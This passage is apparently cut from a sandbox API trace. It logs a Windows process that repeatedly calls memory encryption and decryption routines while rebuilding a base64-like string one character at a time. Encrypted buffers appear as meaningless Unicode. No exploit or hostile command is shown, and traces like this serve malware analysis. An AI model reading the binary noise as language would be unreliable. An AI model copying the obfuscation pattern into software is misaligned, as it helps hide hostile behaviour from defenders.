0x8 [0236.381] SysStringLen (param_1="븂셂嫭찅띒ᄛㆣ簎") returned 0x8 [0236.381] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0236.381] SysStringLen (param_1="v9p") returned 0x8 [0236.381] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0236.382] SysStringLen (param_1="珞醍ᛝꜟ죏笚鈾寄") returned 0x8 [0236.382] SysStringLen (param_1="珞醍ᛝꜟ죏笚鈾寄") returned 0x8 [0236.382] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0236.382] SysStringLen (param_1="v9pa") returned 0x8 [0236.382] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0236.382] SysStringLen (param_1="駣춧龙ꨍᑤ讅橾渠") returned 0x8 [0236.382] SysStringLen (param_1="駣춧龙ꨍᑤ讅橾渠") returned 0x8 [0236.382] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0236.382] SysStringLen (param_1="v9pa+") returned 0x8 [0236.382] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0236.382] SysStringLen (param_1="Ꞿῖퟗ寸◗璾굳") returned 0x8 [0236.382] SysStringLen (param_1="Ꞿῖퟗ寸◗璾굳") returned 0x8 [0236.382] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0236.383] SysStringLen (param_1="v9pa+L") returned 0x8 [0236.383] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0236.383] SysStringLen (param_1="昳僲歩ㆸ썫广ॎ") returned 0x8 [0236.383] SysStringLen (param_1="昳僲歩ㆸ썫广ॎ") returned 0x8 [0236.383] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0236.383] SysStringLen (param_1="v9pa+L/") returned 0x8 [0236.383] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0236.383] SysStringLen (param_1="툳ꍼ褒䷽鯯塜") returned 0x8 [0236.383] SysStringLen (param_1="툳ꍼ褒䷽鯯塜") returned 0x8 [0236.383] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0236.383] SysStringLen (param_1="v9pa+L/A") returned 0x8 [0236.383] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0236.383] SysStringLen (param_1="☋\络ꥶꥍ霙槒⋶) returned 0x8 [0236.384] SysStringLen (param_1="☋\络ꥶꥍ霙槒⋶) returned 0x8 [0236.384] SysStringLen (param_1="☋\络ꥶꥍ霙槒⋶) returned 0x8 [0236.384] SysStringLen (param_1="☋\络ꥶꥍ霙槒⋶) returned 0x10 [0236.384] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0236.384] SysStringLen (param_1="v9pa+L/Aqẞꯚ첰왆꿖ꇤ㭒") returned 0x10 [0236.384] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0236.384] SysStringLen (param_1="☋\络ꥶꥍ霙槒䧶坛뼤ﾬ茑횎⋼) returned 0x10 [0236.384] SysStringLen (param_1="☋\络ꥶꥍ霙槒䧶坛뼤ﾬ茑횎⋼) returned 0x10 [0236.384] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0236.385] SysStringLen (param_1="v9pa+L/Aqjꯚ첰왆꿖ꇤ㭒") returned 0x10 [0236.385] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0236.385] SysStringLen (param_1="☋\络ꥶꥍ霙槒㧶㷙㛁궇ꕢ਌䟝⋼) returned 0x10 [0236.385] SysStringLen (param_1="☋\络ꥶꥍ霙槒㧶㷙㛁궇ꕢ਌䟝⋼) returned 0x10 [0236.385] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0236.385] SysStringLen (param_1="v9pa+L/Aqjb첰왆꿖ꇤ㭒") returned 0x10 [0236.385] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0236.385] SysStringLen (param_1="☋\络ꥶꥍ霙槒ᳶ㻶敬蝨딙䆟ꢱⷜ∥) returned 0x10 [0236.385] SysStringLen (param_1="☋\络ꥶꥍ霙槒ᳶ㻶敬蝨딙䆟ꢱⷜ∥) returned 0x10 [0236.385] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0236.385] SysStringLen (param_1="v9pa+L/AqjbB왆꿖ꇤ㭒") returned 0x10 [0236.385] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0236.386] SysStringLen (param_1="☋\络ꥶꥍ霙槒훶梏䍕쒄嚤퐗଄浽≛) returned 0x10 [0236.386] SysStringLen (param_1="☋\络ꥶꥍ霙槒훶梏䍕쒄嚤퐗଄浽≛) returned 0x10 [0236.386] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0236.386] SysStringLen (param_1="v9pa+L/AqjbBN꿖ꇤ㭒") returned 0x10 [0236.386] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0236.386] SysStringLen (param_1="☋\络ꥶꥍ霙槒쯶땋㩪첶᷎墻Ꚕ뫳⊋) returned 0x10 [0236.386] SysStringLen (param_1="☋\络ꥶꥍ霙槒쯶땋㩪첶᷎墻Ꚕ뫳⊋) returned 0x10 [0236.386] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0236.386] SysStringLen (param_1="v9pa+L/AqjbBNhꇤ㭒") returned 0x10 [0236.386] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0236.386] SysStringLen (param_1="☋\络ꥶꥍ霙槒賶逬㩩㴅䨭핋ꢄ鬙≒) returned 0x10 [0236.386] SysStringLen (param_1="☋\络ꥶꥍ霙槒賶逬㩩㴅䨭핋ꢄ鬙≒) returned 0x10 [0236.387] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0236.387] SysStringLen (param_1="v9pa+L/AqjbBNhc㭒") returned 0x10 [0236.387] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0236.387] SysStringLen (param_1="☋\络ꥶꥍ霙槒䇶梚刃澏߸鬆㗈≺) returned 0x10 [0236.387] SysStringLen (param_1="☋\络ꥶꥍ霙槒䇶梚刃澏߸鬆㗈≺) returned 0x10 [0236.387] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0236.387] SysStringLen (param_1="v9pa+L/AqjbBNhcN") returned 0x10 [0236.387] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0236.387] SysStringLen (param_1="☋\络ꥶꥍ霙槒瓶\ﯚ↛ꯊ谤ꂲデ죗") returned 0x10 [0236.388] SysStringLen (param_1="☋\络ꥶꥍ霙槒瓶\ﯚ↛ꯊ谤ꂲデ죗") returned 0x10 [0236.388] SysStringLen (param_1="☋\络ꥶꥍ霙槒瓶\ﯚ↛ꯊ谤ꂲデ죗") returned 0x10 [0236.388] SysStringLen (param_1="☋\络ꥶꥍ霙槒瓶\ﯚ↛ꯊ谤ꂲデ죗") returned 0x18 [0236.388] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0236.388] SysStringLen (param_1="v9pa+L/AqjbBNhcNM썏囲ᄄߋᛍ䎴׬") returned 0x18 [0236.388] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0236.388] SysStringLen (param_1="☋\络ꥶꥍ霙槒瓶\ﯚ↛ꯊ谤ꂲデ죗۞衚仗벏嶧罃") returned 0x18 [0236.388] SysStringLen (param_1="☋\络ꥶꥍ霙槒瓶\ﯚ↛ꯊ谤ꂲデ죗۞衚仗벏嶧罃") returned 0x18 [0236.388] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0236.388] SysStringLen (param_1="v9pa+L/AqjbBNhcNMc囲ᄄߋᛍ䎴׬") returned 0x18 [0236.388] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0236.389] SysStringLen (param_1="☋\络ꥶꥍ霙槒瓶\ﯚ↛ꯊ谤ꂲデ죗ﻢ擄缙藧썏Ỏ") returned 0x18 [0236.389] SysStringLen (param_1="☋\络ꥶꥍ霙槒瓶\ﯚ↛ꯊ谤ꂲデ죗ﻢ擄缙藧썏Ỏ") returned 0x18 [0236.389] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0236.389] SysStringLen (param_1="v9pa+L/AqjbBNhcNMcZᄄߋᛍ䎴׬") returned 0x18 [0236.389] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0236.389] SysStringLen (param_1="☋\络ꥶꥍ霙槒瓶\ﯚ↛ꯊ谤ꂲデ죗㟏ᕃ숓풟㇙㊀\⋟) returned 0x18 [0236.389] SysStringLen (param_1="☋\络ꥶꥍ霙槒瓶\ﯚ↛ꯊ谤ꂲデ죗㟏ᕃ숓풟㇙㊀\⋟) returned 0x18 [0236.389] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0236.389] SysStringLen (param_1="v9pa+L/AqjbBNhcNMcZTߋᛍ䎴׬") returned 0x18 [0236.389] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0236.389] SysStringLen (param_1="☋\络ꥶꥍ霙槒瓶\ﯚ↛ꯊ谤ꂲデ죗蠎䑰ᇚ찼䮃⣻焍ቿ") returned 0x18 [0236.389] SysStringLen (param_1="☋\络ꥶꥍ霙槒瓶\ﯚ↛ꯊ谤ꂲデ죗蠎䑰ᇚ찼䮃⣻焍ቿ") returned 0x18 [0236.389] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0236.390] SysStringLen (param_1="v9pa+L/AqjbBNhcNMcZT0ᛍ䎴׬") returned 0x18 [0236.390] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0236.390] SysStringLen (param_1="☋\络ꥶꥍ霙槒瓶\ﯚ↛ꯊ谤ꂲデ죗퓿䠚笛஗튐ᠱ㪗") returned 0x18 [0236.390] SysStringLen (param_1="☋\络ꥶꥍ霙槒瓶\ﯚ↛ꯊ谤ꂲデ죗퓿䠚笛஗튐ᠱ㪗") returned 0x18 [0236.390] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0236.390] SysStringLen (param_1="v9pa+L/AqjbBNhcNMcZT0v䎴׬") returned 0x18 [0236.390] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0236.390] SysStringLen (param_1="☋\络ꥶꥍ霙槒瓶\ﯚ↛ꯊ谤ꂲデ죗找⇃ꨜ䣊꒺섅㫳ꓦ") returned 0x18 [0236.390] SysStringLen (param_1="☋\络ꥶꥍ霙槒瓶\ﯚ↛ꯊ谤ꂲデ죗找⇃ꨜ䣊꒺섅㫳ꓦ") returned 0x18 [0236.390] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0236.390] SysStringLen (param_1="v9pa+L/AqjbBNhcNMcZT0vu׬") returned 0x18 [0236.390] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0236.390] SysStringLen (param_1="☋\络ꥶꥍ霙槒瓶\ﯚ↛ꯊ谤ꂲデ죗ᜱﶋ▅囖扚䂣뜵㖏") returned 0x18 [0236.391] SysStringLen (param_1="☋\络ꥶꥍ霙槒瓶\ﯚ↛ꯊ谤ꂲデ죗ᜱﶋ▅囖扚䂣뜵㖏") returned 0x18 [0236.391] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0236.391] SysStringLen (param_1="v9pa+L/AqjbBNhcNMcZT0vuD") returned 0x18 [0236.391] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0236.391] SysStringLen (param_1="☋\络ꥶꥍ霙槒瓶\ﯚ↛ꯊ谤ꂲデ죗ߣ㿅囚㲐袖玈ᇨ") returned 0x18 [0236.391] SysStringLen (param_1="☋\络ꥶꥍ霙槒瓶\ﯚ↛ꯊ谤ꂲデ죗ߣ㿅囚㲐袖玈ᇨ") returned 0x18 [0236.391] SysStringLen (param_1="☋\络ꥶꥍ霙槒瓶\ﯚ↛ꯊ谤ꂲデ죗ߣ㿅囚㲐袖玈ᇨ") returned 0x18 [0236.391] SysStringLen (param_1="☋\络ꥶꥍ霙槒瓶\ﯚ↛ꯊ谤ꂲデ죗ߣ㿅囚㲐袖玈ᇨ") returned 0x20 [0236.391] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0236.392] SysStringLen (param_1="v9pa+L/AqjbBNhcNMcZT0vuDqݐ↳虞愚㻩û\⋜) returned 0x20 [0236.392] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0236.392] SysStringLen (param_1="☋\络ꥶꥍ霙槒瓶\ﯚ↛ꯊ谤ꂲデ죗ߣ㿅囚㲐袖玈ᇨ㌼涰︡\꾛讼﹫∽) returned 0x20 [0236.392] SysStringLen (param_1="☋\络ꥶꥍ霙槒瓶\ﯚ↛ꯊ谤ꂲデ죗ߣ㿅囚㲐袖玈ᇨ㌼涰︡\꾛讼﹫∽) returned 0x20 [0236.392] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0236.392] SysStringLen (param_1="v9pa+L/AqjbBNhcNMcZT0vuDqM↳虞愚㻩û\⋜) returned 0x20 [0236.392] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0236.392] SysStringLen (param_1="☋\络ꥶꥍ霙槒瓶\ﯚ↛ꯊ谤ꂲデ죗ߣ㿅囚㲐袖玈ᇨ祢⢹⯼㌋Ꭵ䊩澊") returned 0x20 [0236.392] SysStringLen (param_1="☋\络ꥶꥍ霙槒瓶\ﯚ↛ꯊ谤ꂲデ죗ߣ㿅囚㲐袖玈ᇨ祢⢹⯼㌋Ꭵ䊩澊") returned 0x20 [0236.392] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0236.392] SysStringLen (param_1="v9pa+L/AqjbBNhcNMcZT0vuDqMh虞愚㻩û\⋜) returned 0x20 [0236.392] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0236.392] SysStringLen (param_1="☋\络ꥶꥍ霙槒瓶\ﯚ↛ꯊ谤ꂲデ죗ߣ㿅囚㲐袖玈ᇨ첿턣㣧릛赗꾶魨\⋙) returned 0x20 [0236.393] SysStringLen (param_1="☋\络ꥶꥍ霙槒瓶\ﯚ↛ꯊ谤ꂲデ죗ߣ㿅囚㲐袖玈ᇨ첿턣㣧릛赗꾶魨\⋙) returned 0x20 [0236.393] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0236.393] SysStringLen (param_1="v9pa+L/AqjbBNhcNMcZT0vuDqMhp愚㻩û\⋜) returned 0x20 [0236.393] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0236.393] SysStringLen (param_1="☋\络ꥶꥍ霙槒瓶\ﯚ↛ꯊ谤ꂲデ죗ߣ㿅囚㲐袖玈ᇨᚏ햔\䷛㸦慨\裚䙞") returned 0x20 [0236.393] SysStringLen (param_1="☋\络ꥶꥍ霙槒瓶\ﯚ↛ꯊ谤ꂲデ죗ߣ㿅囚㲐袖玈ᇨᚏ햔\䷛㸦慨\裚䙞") returned 0x20 [0236.393] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0236.393] SysStringLen (param_1="v9pa+L/AqjbBNhcNMcZT0vuDqMhpk㻩û\⋜) returned 0x20 [0236.393] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0236.393] SysStringLen (param_1="☋\络ꥶꥍ霙槒瓶\ﯚ↛ꯊ谤ꂲデ죗ߣ㿅囚㲐袖玈ᇨ㫿⩲༟橉쌦⛜㔲鹯") returned 0x20 [0236.393] SysStringLen (param_1="☋\络ꥶꥍ霙槒瓶\ﯚ↛ꯊ谤ꂲデ죗ߣ㿅囚㲐袖玈ᇨ㫿⩲༟橉쌦⛜㔲鹯") returned 0x20 [0236.393] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0236.393] SysStringLen (param_1="v9pa+L/AqjbBNhcNMcZT0vuDqMhpkzû\⋜) returned 0x20 [0236.394] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0236.394] SysStringLen (param_1="☋\络ꥶꥍ霙槒瓶\ﯚ↛ꯊ谤ꂲデ죗ߣ㿅囚㲐袖玈ᇨ嘏꺭骻薇鼈倖䨭⸚") returned 0x20 [0236.394] SysStringLen (param_1="☋\络ꥶꥍ霙槒瓶\ﯚ↛ꯊ谤ꂲデ죗ߣ㿅囚㲐袖玈ᇨ嘏꺭骻薇鼈倖䨭⸚") returned 0x20 [0236.394] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0236.394] SysStringLen (param_1="v9pa+L/AqjbBNhcNMcZT0vuDqMhpkzw\⋜) returned 0x20 [0236.394] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0236.394] SysStringLen (param_1="☋\络ꥶꥍ霙槒瓶\ﯚ↛ꯊ谤ꂲデ죗ߣ㿅囚㲐袖玈ᇨС홋张㴭숳摶迳") returned 0x20 [0236.394] SysStringLen (param_1="☋\络ꥶꥍ霙槒瓶\ﯚ↛ꯊ谤ꂲデ죗ߣ㿅囚㲐袖玈ᇨС홋张㴭숳摶迳") returned 0x20 [0236.394] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0236.394] SysStringLen (param_1="v9pa+L/AqjbBNhcNMcZT0vuDqMhpkzwS") returned 0x20 [0236.394] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0236.394] SysStringLen (param_1="☋\络ꥶꥍ霙槒瓶\ﯚ↛ꯊ谤ꂲデ죗ߣ㿅囚㲐袖玈ᇨ诫못ᾆゑ烎") returned 0x20 [0236.395] SysStringLen (param_1="☋\络ꥶꥍ霙槒瓶\ﯚ↛ꯊ谤ꂲデ죗ߣ㿅囚㲐袖玈ᇨ诫못ᾆゑ烎") returned 0x20 [0236.395] SysStringLen (param_1="☋\络ꥶꥍ霙槒瓶\ﯚ↛ꯊ谤ꂲデ죗ߣ㿅囚㲐袖玈ᇨ诫못ᾆゑ烎") returned 0x20 [0236.395] SysStringLen (param_1="☋\络ꥶꥍ霙槒瓶\ﯚ↛ꯊ谤ꂲデ죗ߣ㿅囚㲐袖玈ᇨ诫못ᾆゑ烎Ꮰ") returned 0x28 [0236.395] SystemFunction041 (in: Memory=0x5c9b054, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b054) returned 0x0 [0236.395] SysStringLen (param_1="v9pa+L/AqjbBNhcNMcZT0vuDqMhpkzwSj\䏚೦獼ˮ愣캄⋙) returned 0x28 [0236.395] SystemFunction040 (in: Memory=0x5c9b054, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b054) returned 0x0 [0236.395] SysStringLen (param_1="☋\络ꥶꥍ霙槒瓶\ﯚ↛ꯊ谤ꂲデ죗ߣ㿅囚㲐袖玈ᇨ诫못ᾆゑ烎땽훋渦䡍Დ\⋾) returned 0x28 [0236.395] SysStringLen (param_1="☋\络ꥶꥍ霙槒瓶\ﯚ↛ꯊ谤ꂲデ죗ߣ㿅囚㲐袖玈ᇨ诫못ᾆゑ烎땽훋渦䡍Დ\⋾) returned 0x28 [0236.395] SystemFunction041 (in: Memory=0x5c9b054, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b054) returned 0x0 [0236.395] SysStringLen (param_1="v9pa+L/AqjbBNhcNMcZT0vuDqMhpkzwSj7簌⌂葡\⋙) returned 0x28 [0236.395] SystemFunction040 (in: Memory=0x5c9b054, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b054) returned 0x0 [0236.396] SysStringLen (param_1="☋\络ꥶꥍ霙槒瓶\ﯚ↛ꯊ谤ꂲデ죗ߣ㿅囚㲐袖玈ᇨ诫못ᾆゑ烎껭\쫘⠝膍蠣≅) returned 0x28 [0236.396] SysStringLen (param_1="☋\络ꥶꥍ霙槒瓶\ﯚ↛ꯊ谤ꂲデ죗ߣ㿅囚㲐袖玈ᇨ诫못ᾆゑ烎껭\쫘⠝膍蠣≅) returned 0x28 [0236.396] SystemFunction041 (in: Memory=0x5c9b054, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b054) returned 0x0 [0236.396] SysStringLen (param_1="v9pa+L/AqjbBNhcNMcZT0vuDqMhpkzwSj7W簌⌂葡\⋙) returned 0x28 [0236.396] SystemFunction040 (in: Memory=0x5c9b054, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b054) returned 0x0 [0236.396] SysStringLen (param_1="☋\络ꥶꥍ霙槒瓶\ﯚ↛ꯊ谤ꂲデ죗ߣ㿅囚㲐袖玈ᇨ诫못ᾆゑ烎ࠜꞑ鶓럜幽輖ꧻ榛") returned 0x28 [0236.396] SysStringLen (param_1="☋\络ꥶꥍ霙槒瓶\ﯚ↛ꯊ谤ꂲデ죗ߣ㿅囚㲐袖玈ᇨ诫못ᾆゑ烎ࠜꞑ鶓럜幽輖ꧻ榛") returned 0x28 [0236.396] SystemFunction041 (in: Memory=0x5c9b054, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b054) returned 0x0 [0236.396] SysStringLen (param_1="v9pa+L/AqjbBNhcNMcZT0vuDqMhpkzwSj7WU⌂葡\⋙) returned 0x28 [0236.396] SystemFunction040 (in: Memory=0x5c9b054, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b054) returned 0x0 [0236.396] SysStringLen (param_1="☋\络ꥶꥍ霙槒瓶\ﯚ↛ꯊ谤ꂲデ죗ߣ㿅囚㲐袖玈ᇨ诫못ᾆゑ烎䇦熬萋蔺ퟑ깖ꉸ") returned 0x28 [0236.396] SysStringLen (param_1="☋\络ꥶꥍ霙槒瓶\ﯚ↛ꯊ谤ꂲデ죗ߣ㿅囚㲐袖玈ᇨ诫못ᾆゑ烎䇦熬萋蔺ퟑ깖ꉸ") returned 0x28 [0236.396] SystemFunction041 (in: Memory=0x5c9b054, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b054) returned 0x0 [0236.397] SysStringLen (param_1="v9pa+L/AqjbBNhcNMcZT0vuDqMhpkzwSj7WUv⌂葡\⋙) returned 0x28 [0236.397] SystemFunction040 (in: Memory=0x5c9b054, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b054) returned 0x0 [0236.397] SysStringLen (param_1="☋\络ꥶꥍ霙槒瓶\ﯚ↛ꯊ谤ꂲデ죗ߣ㿅囚㲐袖玈ᇨ诫못ᾆゑ烎꼫ᵸ㎋懃됬꾇꾑阵") returned 0x28 [0236.397] SysStringLen (param_1="☋\络ꥶꥍ霙槒瓶\ﯚ↛ꯊ谤ꂲデ죗ߣ㿅囚㲐袖玈ᇨ诫못ᾆゑ烎꼫ᵸ㎋懃됬꾇꾑阵") returned 0x28 [0236.397] SystemFunction041 (in: Memory=0x5c9b054, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b054) returned 0x0 [0236.397] SysStringLen (param_1="v9pa+L/AqjbBNhcNMcZT0vuDqMhpkzwSj7WUvo葡\⋙) returned 0x28 [0236.397] SystemFunction040 (in: Memory=0x5c9b054, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b054) returned 0x0 [0236.397] SysStringLen (param_1="☋\络ꥶꥍ霙槒瓶\ﯚ↛ꯊ谤ꂲデ죗ߣ㿅囚㲐袖玈ᇨ诫못ᾆゑ烎嫍᮸䥲柦ร뤪⿍") returned 0x28 [0236.397] SysStringLen (param_1="☋\络ꥶꥍ霙槒瓶\ﯚ↛ꯊ谤ꂲデ죗ߣ㿅囚㲐袖玈ᇨ诫못ᾆゑ烎嫍᮸䥲柦ร뤪⿍") returned 0x28 [0236.397] SystemFunction041 (in: Memory=0x5c9b054, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b054) returned 0x0 [0236.398] SysStringLen (param_1="v9pa+L/AqjbBNhcNMcZT0vuDqMhpkzwSj7WUvoO\⋙) returned 0x28 [0236.398] SystemFunction040 (in: Memory=0x5c9b054, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b054) returned 0x0 [0236.398] SysStringLen (param_1="☋\络ꥶꥍ霙槒瓶\ﯚ↛ꯊ谤ꂲデ죗ߣ㿅囚㲐袖玈ᇨ诫못ᾆゑ烎◧ᮌ훖\껙ダ⊔) returned 0x28 [0236.398] SysStringLen (param_1="☋\络ꥶꥍ霙槒瓶\ﯚ↛ꯊ谤ꂲデ죗ߣ㿅囚㲐袖玈ᇨ诫못ᾆゑ烎◧ᮌ훖\껙ダ⊔) returned 0x28 [0236.398] SystemFunction041 (in: Memory=0x5c9b054, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b054) returned 0x0 [0236.398] SysStringLen (param_1="v9pa+L/AqjbBNhcNMcZT0vuDqMhpkzwSj7WUvoOM") returned 0x28 [0236.398] SystemFunction040 (in: Memory=0x5c9b054, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b054) returned 0x0 [0236.398] SysStringLen (param_1="☋\络ꥶꥍ霙槒瓶\ﯚ↛ꯊ谤ꂲデ죗ߣ㿅囚㲐袖玈ᇨ诫못ᾆゑ烎斠맲䉰⎥샂ꦐ⊰擄") returned 0x28 [0236.399] SysStringLen (param_1="☋\络ꥶꥍ霙槒瓶\ﯚ↛ꯊ谤ꂲデ죗ߣ㿅囚㲐袖玈ᇨ诫못ᾆゑ烎斠맲䉰⎥샂ꦐ⊰擄") returned 0x28 [0236.399] SysStringLen (param_1="☋\络ꥶꥍ霙槒瓶\ﯚ↛ꯊ谤ꂲデ죗ߣ㿅囚㲐袖玈ᇨ诫못ᾆゑ烎斠맲䉰⎥샂ꦐ⊰擄") returned 0x28 [0236.399] SysStringLen 